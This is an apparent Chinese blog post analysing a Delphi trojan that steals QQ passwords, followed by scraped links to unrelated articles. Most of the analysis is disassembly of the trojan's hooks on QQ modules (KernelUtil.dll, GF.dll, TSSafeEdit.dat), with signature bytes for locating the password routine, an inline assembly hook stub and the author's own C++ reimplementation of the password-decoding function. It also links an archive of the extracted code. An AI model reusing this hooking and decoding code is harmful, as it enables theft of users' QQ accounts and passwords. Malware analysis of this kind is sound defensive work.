程序大致的流程如下图;

因为是用画图工具画的,所以大家就将就看下把,有什么不对的地方请多多指教;

程序是用Delphi写的,只有加载器加了个upx壳,其他的都没有加壳;
所以分析起来就比较简单了;

这个程序的关键技术都在ntshruis2.dll这个模块中了;
主要是hook了 4 个QQ进程中4个关键的地方;

1.
CODE:0040F9A5 push offset a?isvalidaccoun ; "?IsValidAccount@Misc@Util@@YAHVCTXStrin"...
CODE:0040F9AA push offset aKernelutil_d_0 ; "KernelUtil.dll"
CODE:0040F9AF call GetModuleHandleA_0
CODE:0040F9B4 push eax ; hModule
CODE:0040F9B5 call GetProcAddress_0
CODE:0040F9BA push 0Fh ; int
CODE:0040F9BC push 20h ; int
CODE:0040F9BE push offset unk_413A10 ; int
CODE:0040F9C3 push offset sub_40D11C ; int
CODE:0040F9C8 push ebx ; nSize
CODE:0040F9C9 push eax ; lpBaseAddress
CODE:0040F9CA call sub_406E28 ; hook hook "KernelUtil.dll"模块中的 "?IsValidAccount@Misc@Util@@YAHVCTXStrin"导出函数 主要是为了获取QQ号; 2.
CODE:0040F9CF push offset a?getaccountnam ; "?GetAccountName@Account@Util@@YA?AVCTXS"...
CODE:0040F9D4 push offset aKernelutil_d_0 ; "KernelUtil.dll"
CODE:0040F9D9 call GetModuleHandleA_0
CODE:0040F9DE push eax ; hModule
CODE:0040F9DF call GetProcAddress_0
CODE:0040F9E4 push 0Fh ; int
CODE:0040F9E6 push 20h ; int
CODE:0040F9E8 push offset unk_413A34 ; int
CODE:0040F9ED push offset sub_40F51C ; int
CODE:0040F9F2 push ebx ; nSize
CODE:0040F9F3 push eax ; lpBaseAddress
CODE:0040F9F4 call sub_406E28 hook "KernelUtil.dll" 模块中的 "?GetAccountName@Account@Util@@YA?AVCTXS" 这个主要这个木马的后序中会
给指定帐号充入Q币;
3.
CODE:0040F9F9 push 5
CODE:0040F9FB push 228390h
CODE:0040FA00 push 0
CODE:0040FA02 mov edx, offset unk_4117C0
CODE:0040FA07 mov ecx, 21h
CODE:0040FA0C mov eax, offset _str_GF_DLL.Text ;GF.dll
CODE:0040FA11 call sub_4069CC //查找GF.dll中的特征码返回要hook的地址;
CODE:0040FA16 push 0Fh ; int
CODE:0040FA18 push 20h ; int
CODE:0040FA1A push offset unk_413A88 ; int
CODE:0040FA1F push offset sub_40F66C ; int
CODE:0040FA24 push 5 ; nSize
CODE:0040FA26 push eax ; lpBaseAddress
CODE:0040FA27 call sub_406E28 hook "GF.dll" 模块中的 特征码为 68 00 00 00 00 E8 00 处的地址 ;
主要是为了获取用户按了什么按键 比如登录按钮; 4.
这个也是最关键的地方,是获取QQ密码的地方 CODE:0040FB08 push 1
CODE:0040FB0A push 186A0h
CODE:0040FB0F push 0
CODE:0040FB11 mov edx, offset unk_4117B8 ;特征码1:88 5D 0F 83 7E 04
CODE:0040FB16 mov ecx, 6
CODE:0040FB1B mov eax, offset _str_TSSafeEdit_dat_0.Text
CODE:0040FB20 call sub_4069CC
CODE:0040FB25 mov esi, eax
CODE:0040FB27 push 0Fh ; int
CODE:0040FB29 push 20h ; int
CODE:0040FB2B push offset unk_413AAC ; int
CODE:0040FB30 push offset sub_40F814 ; int
CODE:0040FB35 push 7 ; nSize
CODE:0040FB37 push esi ; lpBaseAddress
CODE:0040FB38 call sub_406E28
CODE:0040FB3D jmp short loc_40FB74
CODE:0040FB3F ; ---------------------------------------------------------------------------
CODE:0040FB3F
CODE:0040FB3F loc_40FB3F: ; CODE XREF: sub_40F910+1F6j
CODE:0040FB3F push 1
CODE:0040FB41 push 186A0h
CODE:0040FB46 push 0
CODE:0040FB48 mov edx, offset unk_4117B0 ;特征码2:8B 5B 04 03 5D 10 (我机器上自己测试都用这段特征码 2012,2013 beat3版本的)
CODE:0040FB4D mov ecx, 5
CODE:0040FB52 mov eax, offset _str_TSSafeEdit_dat_0.Text; TSSafeEdit.dat
CODE:0040FB57 call sub_4069CC
CODE:0040FB5C mov esi, eax
CODE:0040FB5E push 0Fh ; int
CODE:0040FB60 push 20h ; int
CODE:0040FB62 push offset unk_413AAC ; int
CODE:0040FB67 push offset sub_40F7EC ; int
CODE:0040FB6C push 6 ; nSize
CODE:0040FB6E push esi ; lpBaseAddress
CODE:0040FB6F call sub_406E28 ;hook 函数 hook "TSSafeEdit.dat" 中特征码有 两处 ,只要hook其中的一处 就可以 具体是怎么判断要hook哪处的这个我还没看出来; 这里我们就着重分析下是获取密码的算法; 这里是hook "TSSafeEdit.dat" 中的地址之后 跳到 我们自己的函数中; CODE:0040F7EC sub_40F7EC proc near ; DATA XREF: sub_40F910+257o
CODE:0040F7EC pusha
CODE:0040F7ED mov eax, [esi+0C0h]
CODE:0040F7F3 add eax, 2
CODE:0040F7F6 push eax
CODE:0040F7F7 push dword ptr [ecx+48h]
CODE:0040F7FA push dword ptr [ecx+40h]
CODE:0040F7FD push dword ptr [ecx+8]
CODE:0040F800 push dword ptr [ecx+14h]
CODE:0040F803 push dword ptr [ecx+4]
CODE:0040F806 call sub_40F6A4
CODE:0040F80B popa
CODE:0040F80C jmp ds:off_4117A4
CODE:0040F80C sub_40F7EC endp 翻译下
__asm
{
pushad
mov eax, [esi+0xC0];
add eax, 2;
push eax; //密钥key2
push dword ptr [ecx+0x48]; //这个不清楚 0x0D 不固定的
push dword ptr [ecx+0x40]; //密码长度
push dword ptr [ecx+0x08]; //待解密的字符串的长度
push dword ptr [ecx+0x14]; //猜测是密钥key1
push dword ptr [ecx+0x04]; //待解密的字符串
call GetPassword;
popad
jmp gHookPasswordJmp
} call sub_40F6A4 这个函数比较长, 所以就 所以我就贴下我写好的 这段解密代码;
////////////////////////////////////////////////////////////////////////////////////////////
void __stdcall GetPassword(char *szBuf, char *szkey1, int nLen, int nPwdLen, int nbyte, char* szKey2)
{
int n1;
int n2;
int n3;
int n4;
int n5;
char szPwd[50] = {0};
if (!bFrist)
{
bFrist = TRUE;
if (nPwdLen > 0)
{
n1 = 1;
do
{
n2 = n1 * nbyte - 1;
if (*(szkey1 + n2))
{
n3 = *(szBuf + n2);
if (n3 <= 0x60 || n3 >= 0x7B)
{
n4 = 0;
}
else
{
n3 -= 0x20;
n4 = 1;
}
n5 = 0;
while ( n3 != *(szKey2 + n5) )
{
++n5;
if ( n5 == 0x81 )
goto LABEL_16;
}
char szTmp[2] = {0};
if (n4 == 1)
{
sprintf_s(szTmp, "%c", n5+32);
}
else
{
sprintf_s(szTmp, "%c", n5);
}
int nSize = strlen(szPwd);
strcpy(szPwd + nSize, szTmp);
}
else
{
char szTmp[2] = {0};
sprintf_s(szTmp, "%c", *(szBuf + n2));
int nSize = strlen(szPwd);
strcpy(szPwd + nSize, szTmp);
}
LABEL_16:
++n1; } while (nPwdLen-- != 1);
}
OutputDebugStringA(szPwd);
} }

////////////////////////////////////////////////////////////////////////////////
具体的参考附近中的代码;
到这里 ,关键的一些技术差不多就这样了,这个木马还有为指定用户充Q币;

http://files.cnblogs.com/microzone/TX.rar

都在 hook "KernelUtil.dll" 模块中的 "?GetAccountName@Account@Util@@YA?AVCTXS" 中操作,有兴趣的可以看看;

分析与提取QQ木马盗号技术的更多相关文章

  1. GIS案例学习笔记-水文分析河网提取地理建模

    GIS案例学习笔记-水文分析河网提取地理建模 联系方式:谢老师,135-4855-4328,xiexiaokui#qq.com 目的:针对数字高程模型,通过水文分析,提取河网 操作时间:25分钟 数据 ...

  2. http_load安装与测试参数分析 - 追求自由自在的编程 - ITeye技术网站

    http_load安装与测试参数分析 - 追求自由自在的编程 - ITeye技术网站 http_load -p 50 -s 120 urls

  3. 【淘宝客】批量提取QQ号

    1:打开QQ群官方,网址:http://qun.qq.com/ 2.点击导航栏:群管理 3.点击成员管理,选择需要提取QQ号的群 4.全选复制群成员 5.打开网址:http://tool.oschin ...

  4. 利用ArcGIS水文分析工具提取河网

    转自原文 利用ArcGIS水文分析工具提取河网(转) DEM包含有多种信息,ArcToolBox提供了利用DEM提取河网的方法,但是操作比较烦琐(帮助可参看Hydrologic analysis sa ...

  5. Logstash:Data转换,分析,提取,丰富及核心操作

    Logstash:Data转换,分析,提取,丰富及核心操作 Logstash plugins Logstash是一个非常容易进行扩张的框架.它可以对各种的数据进行分析处理.这依赖于目前提供的超过200 ...

  6. 利用水文分析方法提取山脊线和山谷线(ArcPy实现)

    一.背景 作为地形特征线的山脊线.山谷线对地形.地貌具有一定的控制作用.它们与山顶点.谷底点以及鞍部点等一起构成了地形起伏变化的骨架结构.同时由于山脊线具有分水性,山谷线具有合水性特征,使得它们在地形 ...

  7. 一个QQ木马的逆向分析浅谈(附带源码)

    程序流程:首先注册自己程序的窗口以及类等一系列窗口操作,安装了一个定时器,间隔为100ms,功能搜索QQ的类名,如果找到就利用FindWindow("5B3838F5-0C81-46D9-A ...

  8. 伪装为 吃鸡账号获取器 的QQ木马分析

    本文作者:i春秋作家坏猫叔叔 0×01 起因随着吃鸡热潮的来临,各种各样的吃鸡辅助和账号交易也在互联网的灰色地带迅速繁殖滋生.其中有真有假,也不乏心怀鬼胎的“放马人”.吃过晚饭后在一个论坛看到了这样一 ...

  9. 一次简单的分析手机APK病毒木马

    写个笔记记录一下,起因是朋友在QQ上发了个连接叫我看看 安不安全,叫我帮他看看,反正在店里待着也没生意,那就顺便看看咯. 打开这个网址  会自动弹出下载一个名为OOXX的APK安装包. 起先我的思路是 ...

随机推荐

  1. Spring字符集过滤器CharacterEncodingFilter

    Spring中的字符集过滤器可以很方便的为我们解决项目中出现的中文乱码问题,而且使用方法也很简单,只需要在web.xml文件中配置一下该过滤器,设置两个重要的参数(encoding和forceEnco ...

  2. 用Maven创建第一个项目

    1.在Eclipse左侧的空白处点击鼠标右键,选择:New>Other : 2.选择Maven项目,点击"Next"按钮: 3.保持默认,直接点击“Next”按钮: 4.选择 ...

  3. 关于css3的自定义字体

    css3的@font-face属性打破了中文页面字体一成不变的格局,但今天本菜在用的时候并不那么爽.开始各种引用外部ttf文件失败.下了300M+的字体文件,苦逼的试了一下午.终于有一个ttf引用成功 ...

  4. 把excel中的数据导入到数据库

    import.php <?php header("Content-Type:text/html;charset=utf-8"); echo '<html> < ...

  5. 图片的copy,从一个目录复制到另一个目录

    代码: public function index(){ $path='G:/相片/2014.9.8深圳莲花山/IMG_1282.JPG'; $path=iconv('utf-8','gb2312', ...

  6. svn提交代码的原则

    [1]先更新在提交 [2]多提交 [3]不要提交不能通过编译的代码 [4]每次提交必须书写明晰的标注 [5]提交时注意不要提交本地自动生成的文件 [6]不要提交自己不明白的代码 [7]慎用锁定功能

  7. Javascript 弱类型:除法结果是小数

    由于javascript是弱类型,只有一种var类型,所以在运算时不会自动强制转换,所以计算的结果是多少就是多少,但java中的17/10的结果就是1(强类型与弱类型)比如:console.log(M ...

  8. lftp

    linux安装FTP工具 lftp及使用教程 来源:网络 发布时间:2013-05-24 15:21 字体:[大  中  小] 点击2510次 linux下可以直接通过FTP命令进行ftp上传下载,不 ...

  9. 为什么要baidu/Google问题 尽量少在群里问问题

    群里问也是可以的 但是 不能指望群里的人详细的回答 有时候的回答会很到位 但是 也可以 应该更多的去网络上搜索信息 因为 那是别人已经写好的 我们为什么不顺便去获取呢 别人花费了精力 我们要尽量运用 ...

  10. Edit Distance编辑距离(NM tag)- sam/bam格式解读进阶

    sam格式很精炼,几乎包含了比对的所有信息,我们平常用到的信息很少,但特殊情况下,我们会用到一些较为生僻的信息,关于这些信息sam官方文档的介绍比较精简,直接看估计很难看懂. 今天要介绍的是如何通过b ...